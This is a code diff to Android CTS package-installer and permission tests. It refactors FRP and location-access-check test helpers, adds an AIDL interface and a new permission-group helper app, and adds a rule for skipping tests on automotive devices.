--- a/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml
@@ -17,7 +17,6 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.tests.atomicinstall" >
 
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
     <application>
         <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
                   android:exported="true" />
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
index 9a24968..33a8966 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
@@ -24,9 +24,6 @@
 import androidx.test.InstrumentationRegistry
 import androidx.test.runner.AndroidJUnit4
 
-import com.android.compatibility.common.util.SystemUtil.runShellCommand
-import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
-
 import org.junit.After
 import org.junit.Assert.assertEquals
 import org.junit.Test
@@ -42,12 +39,6 @@
 class IntentTest : PackageInstallerTestBase() {
     private val context = InstrumentationRegistry.getTargetContext()
 
-    private fun setSecureFrp(secureFrp: Boolean) {
-        runWithShellPermissionIdentity {
-            runShellCommand("settings put secure secure_frp_mode ${if (secureFrp) 1 else 0}")
-        }
-    }
-
     @After
     fun disableSecureFrp() {
         setSecureFrp(false)
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
index ad7c7fd..45eb038 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
@@ -198,6 +198,11 @@
         uiDevice.executeShellCommand("settings put secure $secureSetting $value")
     }
 
+    fun setSecureFrp(secureFrp: Boolean) {
+        uiDevice.executeShellCommand("settings --user 0 " +
+                "put secure secure_frp_mode ${if (secureFrp) 1 else 0}")
+    }
+
     @After
     fun unregisterInstallResultReceiver() {
         try {
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
index 24a1128..69096f8 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
@@ -98,7 +98,7 @@
     @Test
     fun confirmFrpInstallationFails() {
         try {
-            setSecureSetting("secure_frp_mode", 1)
+            setSecureFrp(true)
 
             try {
                 val installation = startInstallationViaSession()
@@ -111,7 +111,7 @@
             // Install should never have started
             assertNotInstalled()
         } finally {
-            setSecureSetting("secure_frp_mode", 0)
+            setSecureFrp(false)
         }
     }
 }
diff --git a/tests/tests/permission/Android.bp b/tests/tests/permission/Android.bp
index c869fab..376c579 100644
--- a/tests/tests/permission/Android.bp
+++ b/tests/tests/permission/Android.bp
@@ -38,7 +38,11 @@
         "libctspermission_jni",
         "libnativehelper_compat_libc++",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.aidl",
+        "src/**/*.kt",
+    ],
     sdk_version: "test_current",
     libs: [
         "android.test.runner.stubs",
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index 102741c..80becf34 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -19,6 +19,8 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
 
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
+
     <!-- Install main test suite apk -->
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
@@ -61,6 +63,7 @@
         <option name="push" value="CtsInstalltimePermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsInstalltimePermissionDefinerApp.apk" />
         <option name="push" value="CtsInstalltimePermissionUserApp.apk->/data/local/tmp/cts/permissions/CtsInstalltimePermissionUserApp.apk" />
         <option name="push" value="CtsAppThatRequestsOneTimePermission.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsOneTimePermission.apk" />
+        <option name="push" value="AppThatDefinesUndefinedPermissionGroupElement.apk->/data/local/tmp/cts/permissions/AppThatDefinesUndefinedPermissionGroupElement.apk" />
     </target_preparer>
 
     <!-- Remove additional apps if installed -->
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
index d9432c8..04faf1b 100644
--- a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
@@ -24,5 +24,8 @@
         "vts10",
         "general-tests",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.aidl"
+    ],
 }
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java b/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java
index ef7aec07..b248f3ca 100644
--- a/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java
@@ -24,45 +24,51 @@
 import android.location.Location;
 import android.location.LocationListener;
 import android.location.LocationManager;
-import android.os.Binder;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.IBinder;
+import android.os.Looper;
 
 public class AccessLocationOnCommand extends Service {
     // Longer than the STATE_SETTLE_TIME in AppOpsManager
     private static final long BACKGROUND_ACCESS_SETTLE_TIME = 11000;
 
-    private void getLocation() {
-        Criteria crit = new Criteria();
-        crit.setAccuracy(ACCURACY_FINE);
+    private IAccessLocationOnCommand.Stub mBinder = new IAccessLocationOnCommand.Stub() {
+        public void accessLocation() {
+            new Handler(Looper.getMainLooper()).postDelayed(() -> {
+                Criteria crit = new Criteria();
+                crit.setAccuracy(ACCURACY_FINE);
 
-        getSystemService(LocationManager.class).requestSingleUpdate(crit, new LocationListener() {
-            @Override
-            public void onLocationChanged(Location location) {
-            }
+                AccessLocationOnCommand.this.getSystemService(LocationManager.class)
+                        .requestSingleUpdate(crit, new LocationListener() {
+                            @Override
+                            public void onLocationChanged(Location location) {
+                            }
 
-            @Override
-            public void onStatusChanged(String provider, int status, Bundle extras) {
-            }
+                            @Override
+                            public void onStatusChanged(String provider, int status,
+                                    Bundle extras) {
+                            }
 
-            @Override
-            public void onProviderEnabled(String provider) {
-            }
+                            @Override
+                            public void onProviderEnabled(String provider) {
+                            }
 
-            @Override
-            public void onProviderDisabled(String provider) {
-            }
-        }, null);
-    }
+                            @Override
+                            public void onProviderDisabled(String provider) {
+                            }
+                        }, null);
+            }, BACKGROUND_ACCESS_SETTLE_TIME);
+        }
+    };
 
     @Override
     public IBinder onBind(Intent intent) {
-        return new Binder();
+        return mBinder;
     }
 
     @Override
     public boolean onUnbind(Intent intent) {
-        return (new Handler()).postDelayed(this::getLocation, BACKGROUND_ACCESS_SETTLE_TIME);
+        return true;
     }
 }
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/IAccessLocationOnCommand.aidl b/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/IAccessLocationOnCommand.aidl
new file mode 100644
index 0000000..be92ed1
--- /dev/null
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/IAccessLocationOnCommand.aidl
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts.appthataccesseslocation;
+
+interface IAccessLocationOnCommand {
+    /** Access location on command */
+    void accessLocation();
+}
\ No newline at end of file
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
similarity index 87%
rename from tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
rename to tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
index d957080..c8fd250 100644
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
+++ b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
@@ -15,16 +15,14 @@
 //
 
 android_test_helper_app {
-    name: "CtsAutoRevokeWhitelistedDummyApp",
+    name: "AppThatDefinesUndefinedPermissionGroupElement",
     defaults: ["cts_defaults"],
     sdk_version: "test_current",
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
-        "vts",
         "vts10",
-        "mts",
         "general-tests",
     ],
-    srcs: ["src/**/*.java", "src/**/*.kt"],
+    srcs: ["src/**/*.kt"],
 }
diff --git a/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/AndroidManifest.xml b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/AndroidManifest.xml
new file mode 100644
index 0000000..171d331
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatrequestpermission"
+    android:versionCode="2">
+
+    <permission
+        android:name="android.permission.cts.appthatrequestpermission.TEST"
+        android:protectionLevel="dangerous"
+        android:permissionGroup="android.permission-group.UNDEFINED" />
+
+    <uses-permission android:name="android.permission.CAMERA" />
+    <uses-permission android:name="android.permission.RECORD_AUDIO" />
+    <uses-permission android:name="android.permission.cts.appthatrequestpermission.TEST" />
+
+    <application android:label="CtsPermissionUnknownGroup">
+        <activity
+            android:name=".RequestPermissions"
+            android:exported="true"/>
+    </application>
+</manifest>
+
diff --git a/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/src/android/permission/cts/appthatrequestpermission/RequestPermissions.kt b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/src/android/permission/cts/appthatrequestpermission/RequestPermissions.kt
new file mode 100644
index 0000000..39183a8
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/src/android/permission/cts/appthatrequestpermission/RequestPermissions.kt
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.permission.cts.appthatrequestpermission
+
+import android.app.Activity
+
+class RequestPermissions : Activity() {
+    override fun onStart() {
+        super.onStart()
+        val permissions = intent.getStringArrayExtra(EXTRA_PERMISSIONS)!!
+        requestPermissions(permissions, 0)
+    }
+
+    override fun onRequestPermissionsResult(
+        requestCode: Int,
+        permissions: Array<String>,
+        grantResults: IntArray
+    ) {
+        finish()
+    }
+
+    companion object {
+        private const val EXTRA_PERMISSIONS =
+                "android.permission.cts.appthatrequestpermission.extra.PERMISSIONS"
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/permission/OWNERS b/tests/tests/permission/OWNERS
index 7ad5960..a383144 100644
--- a/tests/tests/permission/OWNERS
+++ b/tests/tests/permission/OWNERS
@@ -6,3 +6,4 @@
 per-file MainlineNetworkStackPermissionTest.java = file: platform/frameworks/base:/services/net/OWNERS
 per-file Camera2PermissionTest.java = file: platform/frameworks/av:/camera/OWNERS
 per-file OneTimePermissionTest.java, AppThatRequestOneTimePermission/... = evanseverson@google.com
+per-file LocationAccessCheckTest.java = ntmyren@google.com
diff --git a/tests/tests/permission/src/android/permission/cts/ActivityPermissionRationaleTest.java b/tests/tests/permission/src/android/permission/cts/ActivityPermissionRationaleTest.java
index 947e59a..1837b32 100644
--- a/tests/tests/permission/src/android/permission/cts/ActivityPermissionRationaleTest.java
+++ b/tests/tests/permission/src/android/permission/cts/ActivityPermissionRationaleTest.java
@@ -84,7 +84,8 @@
 
     @Before
     public void clearData() {
-        runShellCommand("pm clear android.permission.cts.appthatrunsrationaletests");
+        runShellCommand("pm clear --user " + sContext.getUserId()
+                + " android.permission.cts.appthatrunsrationaletests");
         PermissionUtils.setPermissionFlags(PACKAGE_NAME, PERMISSION_NAME,
                 PackageManager.FLAG_PERMISSION_POLICY_FIXED, 0);
     }
diff --git a/tests/tests/permission/src/android/permission/cts/BackgroundPermissionButtonLabelTest.java b/tests/tests/permission/src/android/permission/cts/BackgroundPermissionButtonLabelTest.java
index d4e1530..004f8bc 100644
--- a/tests/tests/permission/src/android/permission/cts/BackgroundPermissionButtonLabelTest.java
+++ b/tests/tests/permission/src/android/permission/cts/BackgroundPermissionButtonLabelTest.java
@@ -43,7 +43,6 @@
             int stringId = permissionControllerContext.getResources().getIdentifier(
                     APP_PERMISSION_BUTTON_ALLOW_ALWAYS, "string",
                     "com.android.permissioncontroller");
-//                    mPermissionController); STOPSHIP b/147434671
 
             Assert.assertEquals(mContext.getPackageManager().getBackgroundPermissionOptionLabel(),
                     permissionControllerContext.getString(stringId));
diff --git a/tests/tests/permission/src/android/permission/cts/IgnoreAllTestsRule.java b/tests/tests/permission/src/android/permission/cts/IgnoreAllTestsRule.java
new file mode 100644
index 0000000..45288bd
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/IgnoreAllTestsRule.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import org.junit.rules.MethodRule;
+import org.junit.runners.model.FrameworkMethod;
+import org.junit.runners.model.Statement;
+
+/**
+ * A {@link org.junit.Rule} that will cause all tests in the class
+ * to be ignored if the argument to the constructor is true.
+ */
+public class IgnoreAllTestsRule implements MethodRule {
+
+    private boolean mIgnore;
+
+    /**
+     * Creates a new IgnoreAllTestsRule
+     * @param ignore If true, all tests in the class will be ignored. If false, this rule will
+     *               do nothing.
+     */
+    public IgnoreAllTestsRule(boolean ignore) {
+        mIgnore = ignore;
+    }
+
+    @Override
+    public Statement apply(Statement base, FrameworkMethod method, Object target) {
+        if (mIgnore) {
+            return new Statement() {
+                @Override
+                public void evaluate() throws Throwable {
+                }
+            };
+        } else {
+            return base;
+        }
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index 2ac729a..53b7d18 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -20,6 +20,7 @@
 import static android.Manifest.permission.ACCESS_FINE_LOCATION;
 import static android.app.Notification.EXTRA_TITLE;
 import static android.content.Context.BIND_AUTO_CREATE;
+import static android.content.Context.BIND_NOT_FOREGROUND;
 import static android.content.Intent.ACTION_BOOT_COMPLETED;
 import static android.content.Intent.FLAG_RECEIVER_FOREGROUND;
 import static android.location.Criteria.ACCURACY_FINE;
@@ -34,6 +35,7 @@
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
@@ -56,6 +58,8 @@
 import android.os.Bundle;
 import android.os.IBinder;
 import android.os.Looper;
+import android.os.SystemClock;
+import android.permission.cts.appthataccesseslocation.IAccessLocationOnCommand;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.SecurityTest;
 import android.provider.DeviceConfig;
@@ -101,7 +105,8 @@
             "/data/local/tmp/cts/permissions/AppThatDoesNotHaveBgLocationAccess.apk";
 
     /** Whether to show location access check notifications. */
-    private static final String PROPERTY_LOCATION_ACCESS_CHECK_ENABLED = "location_access_check_enabled";
+    private static final String PROPERTY_LOCATION_ACCESS_CHECK_ENABLED =
+            "location_access_check_enabled";
 
     private static final long UNEXPECTED_TIMEOUT_MILLIS = 10000;
     private static final long EXPECTED_TIMEOUT_MILLIS = 1000;
@@ -125,27 +130,20 @@
      */
     private static Boolean sCanAccessFineLocation = null;
 
+    private static ServiceConnection sConnection;
+    private static IAccessLocationOnCommand sLocationAccessor;
+
     /**
      * Connected to {@value #TEST_APP_PKG} and make it access the location in the background
      */
-    private static void accessLocation() {
-        ServiceConnection connection = new ServiceConnection() {
-            @Override
-            public void onServiceConnected(ComponentName name, IBinder service) {
-                sContext.unbindService(this);
-            }
-
-            @Override
-            public void onServiceDisconnected(ComponentName name) {
-                // ignore
-            }
-        };
-
-        // Connect and disconnect to service. After the service is disconnected it causes a
-        // access to the location
-        Intent testAppService = new Intent();
-        testAppService.setComponent(new ComponentName(TEST_APP_PKG, TEST_APP_SERVICE));
-        sContext.bindService(testAppService, connection, BIND_AUTO_CREATE);
+    private void accessLocation() throws Throwable {
+        if (sConnection == null || sLocationAccessor == null) {
+            bindService();
+        }
+        eventually(() -> {
+            assertNotNull(sLocationAccessor);
+            sLocationAccessor.accessLocation();
+        }, EXPECTED_TIMEOUT_MILLIS);
     }
 
     /**
@@ -182,9 +180,7 @@
      *
      * @param r       The {@link ThrowingCallable} to run.
      * @param timeout the maximum time to wait
-     *
      * @return the return value from the callable
-     *
      * @throws NullPointerException If the return value never becomes non-null
      */
     public static <T> T eventually(@NonNull ThrowingCallable<T> r, long timeout) throws Throwable {
@@ -224,6 +220,7 @@
      * @param pkg The name of the package to be cleared
      */
     private static void clearPackageData(@NonNull String pkg) {
+        unbindService();
         runShellCommand("pm clear --user -2 " + pkg);
     }
 
@@ -253,17 +250,24 @@
         return null;
     }
 
+    private StatusBarNotification getNotification(boolean cancelNotification) throws Throwable {
+        return getNotification(cancelNotification, false);
+    }
+
     /**
      * Get a location access notification that is currently visible.
      *
      * @param cancelNotification if {@code true} the notification is canceled inside this method
-     *
+     * @param returnImmediately if {@code true} this method returns immediately after checking once
+     *                          for the notification
      * @return The notification or {@code null} if there is none
      */
-    private StatusBarNotification getNotification(boolean cancelNotification) throws Throwable {
+    private StatusBarNotification getNotification(boolean cancelNotification,
+            boolean returnImmediately) throws Throwable {
         NotificationListenerService notificationService = NotificationListener.getInstance();
-
-        long start = System.currentTimeMillis();
+        long start = SystemClock.elapsedRealtime();
+        long timeout = returnImmediately ? 0 : LOCATION_ACCESS_TIMEOUT_MILLIS
+                + BACKGROUND_ACCESS_SETTLE_TIME;
         while (true) {
             runLocationCheck();
 
@@ -271,8 +275,7 @@
             if (notification == null) {
                 // Sometimes getting a location takes some time, hence not getting a notification
                 // can be caused by not having gotten a location yet
-                if (System.currentTimeMillis() - start < LOCATION_ACCESS_TIMEOUT_MILLIS
-                        + BACKGROUND_ACCESS_SETTLE_TIME) {
+                if (SystemClock.elapsedRealtime() - start < timeout) {
                     Thread.sleep(200);
                     continue;
                 }
@@ -336,19 +339,42 @@
 
     @BeforeClass
     public static void installBackgroundAccessApp() {
-        runShellCommand("pm install -r -g " + TEST_APP_LOCATION_BG_ACCESS_APK);
+        installBackgroundAccessApp(false);
+    }
+
+    private static void installBackgroundAccessApp(boolean isDowngrade) {
+        String command = "pm install -r -g ";
+        if (isDowngrade) {
+            command = command + "-d ";
+        }
+        String output = runShellCommand(command + TEST_APP_LOCATION_BG_ACCESS_APK);
+        assertTrue(output.contains("Success"));
     }
 
     @AfterClass
     public static void uninstallBackgroundAccessApp() {
+        unbindService();
         runShellCommand("pm uninstall " + TEST_APP_PKG);
     }
 
+    private static void unbindService() {
+        if (sConnection != null) {
+            sContext.unbindService(sConnection);
+        }
+        sConnection = null;
+        sLocationAccessor = null;
+    }
+
 
     private static void installForegroundAccessApp() {
+        unbindService();
         runShellCommand("pm install -r -g " + TEST_APP_LOCATION_FG_ACCESS_APK);
     }
 
+    private static void uninstallForegroundAccessApp() {
+        runShellCommand("pm uninstall " + TEST_APP_LOCATION_FG_ACCESS_APK);
+    }
+
     /**
      * Skip each test for low ram device
      */
@@ -357,6 +383,27 @@
         assumeFalse(sActivityManager.isLowRamDevice());
     }
 
+    @Before
+    public void bindService() {
+        sConnection = new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                sLocationAccessor = IAccessLocationOnCommand.Stub.asInterface(service);
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                sConnection = null;
+                sLocationAccessor = null;
+            }
+        };
+
+        Intent testAppService = new Intent();
+        testAppService.setComponent(new ComponentName(TEST_APP_PKG, TEST_APP_SERVICE));
+
+        sContext.bindService(testAppService, sConnection, BIND_AUTO_CREATE | BIND_NOT_FOREGROUND);
+    }
+
     /**
      * Reset the permission controllers state before each test
      */
@@ -481,7 +528,7 @@
     @AfterClass
     public static void disallowNotificationAccess() {
         runShellCommand("cmd notification disallow_listener " + (new ComponentName(sContext,
-                        NotificationListener.class)).flattenToString());
+                NotificationListener.class)).flattenToString());
     }
 
     /**
@@ -509,6 +556,12 @@
                         DeviceConfig.NAMESPACE_PRIVACY));
     }
 
+    @After
+    public void locationUnbind() throws Throwable {
+        unbindService();
+        getNotification(true, true);
+    }
+
     @Test
     public void notificationIsShown() throws Throwable {
         accessLocation();
@@ -516,7 +569,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel="2019-12-01")
+    @SecurityTest(minPatchLevel = "2019-12-01")
     public void notificationIsShownOnlyOnce() throws Throwable {
         accessLocation();
         getNotification(true);
@@ -525,7 +578,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel="2019-12-01")
+    @SecurityTest(minPatchLevel = "2019-12-01")
     public void notificationIsShownAgainAfterClear() throws Throwable {
         accessLocation();
         getNotification(true);
@@ -557,12 +610,12 @@
 
         eventually(() -> {
             accessLocation();
-            assertNotNull(getNotification(false));
+            assertNotNull(getNotification(true));
         }, UNEXPECTED_TIMEOUT_MILLIS);
     }
 
     @Test
-    @SecurityTest(minPatchLevel="2019-12-01")
+    @SecurityTest(minPatchLevel = "2019-12-01")
     public void removeNotificationOnUninstall() throws Throwable {
         accessLocation();
         getNotification(false);
@@ -597,12 +650,12 @@
 
             fail("Location access notification was shown");
         } finally {
-            installBackgroundAccessApp();
+            installBackgroundAccessApp(true);
         }
     }
 
     @Test
-    @SecurityTest(minPatchLevel="2019-12-01")
+    @SecurityTest(minPatchLevel = "2019-12-01")
     public void noNotificationIfFeatureDisabled() throws Throwable {
         disableLocationAccessCheck();
         accessLocation();
@@ -610,7 +663,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel="2019-12-01")
+    @SecurityTest(minPatchLevel = "2019-12-01")
     public void notificationOnlyForAccessesSinceFeatureWasEnabled() throws Throwable {
         // Disable the feature and access location in disabled state
         disableLocationAccessCheck();
@@ -627,8 +680,9 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel="2019-12-01")
+    @SecurityTest(minPatchLevel = "2019-12-01")
     public void noNotificationIfBlamerNotSystemOrLocationProvider() throws Throwable {
+        getNotification(true);
         // Blame the app for access from an untrusted for notification purposes package.
         runWithShellPermissionIdentity(() -> {
             AppOpsManager appOpsManager = sContext.getSystemService(AppOpsManager.class);
@@ -639,7 +693,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel="2019-12-01")
+    @SecurityTest(minPatchLevel = "2019-12-01")
     public void testOpeningLocationSettingsDoesNotTriggerAccess() throws Throwable {
         Intent intent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
diff --git a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
index 656f6ad..5670cc1 100644
--- a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
@@ -43,6 +43,7 @@
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 
 import java.util.concurrent.CompletableFuture;
@@ -70,6 +71,10 @@
 
     private String mOldOneTimePermissionTimeoutValue;
 
+    @Rule
+    public IgnoreAllTestsRule mIgnoreAutomotive = new IgnoreAllTestsRule(
+            mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+
     @Before
     public void wakeUpScreen() {
         SystemUtil.runShellCommand("input keyevent KEYCODE_WAKEUP");
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
index 1466cb8..37a448b 100644
--- a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
+++ b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
@@ -30,7 +30,9 @@
 import android.content.Intent;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
+import android.content.res.Resources;
 import android.platform.test.annotations.SecurityTest;
+import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiScrollable;
 import android.support.test.uiautomator.UiSelector;
@@ -53,6 +55,7 @@
 
     private Context mContext;
     private UiDevice mUiDevice;
+    private String mAllowButtonText = null;
 
     @Before
     public void setContextAndUiDevice() {
@@ -100,8 +103,15 @@
     }
 
     protected void clickAllowButton() throws Exception {
-        mUiDevice.findObject(new UiSelector().resourceId(
-                "com.android.permissioncontroller:id/permission_allow_button")).click();
+        if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            if (mAllowButtonText == null) {
+                mAllowButtonText = getPermissionControllerString("grant_dialog_button_allow");
+            }
+            mUiDevice.findObject(By.text(mAllowButtonText)).click();
+        } else {
+            mUiDevice.findObject(By.res(
+                    "com.android.permissioncontroller:id/permission_allow_button")).click();
+        }
     }
 
     private void grantPermissionViaUi() throws Throwable {
@@ -174,6 +184,15 @@
         }
     }
 
+    private String getPermissionControllerString(String res)
+            throws PackageManager.NameNotFoundException {
+        Resources permissionControllerResources = mContext.createPackageContext(
+                mContext.getPackageManager().getPermissionControllerPackageName(), 0)
+                .getResources();
+        return permissionControllerResources.getString(permissionControllerResources
+                .getIdentifier(res, "string", "com.android.permissioncontroller"));
+    }
+
     private interface ThrowingRunnable {
         void run() throws Throwable;
     }
diff --git a/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java b/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
index fac3aab..8609e33 100644
--- a/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
+++ b/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
@@ -25,18 +25,14 @@
 import static android.content.Context.WIFI_P2P_SERVICE;
 import static android.content.Context.WIFI_SERVICE;
 
-import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNull;
 
-import android.app.WallpaperManager;
 import android.content.Context;
 import android.platform.test.annotations.AppModeInstant;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.RequiredServiceRule;
-
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -72,14 +68,8 @@
 
     @Test
     public void cannotGetWallpaperManager() {
-        WallpaperManager mgr  = (WallpaperManager) InstrumentationRegistry.getTargetContext()
-                .getSystemService(WALLPAPER_SERVICE);
-        boolean supported = RequiredServiceRule.hasService("wallpaper");
-        if (supported) {
-            assertNull(mgr);
-        } else {
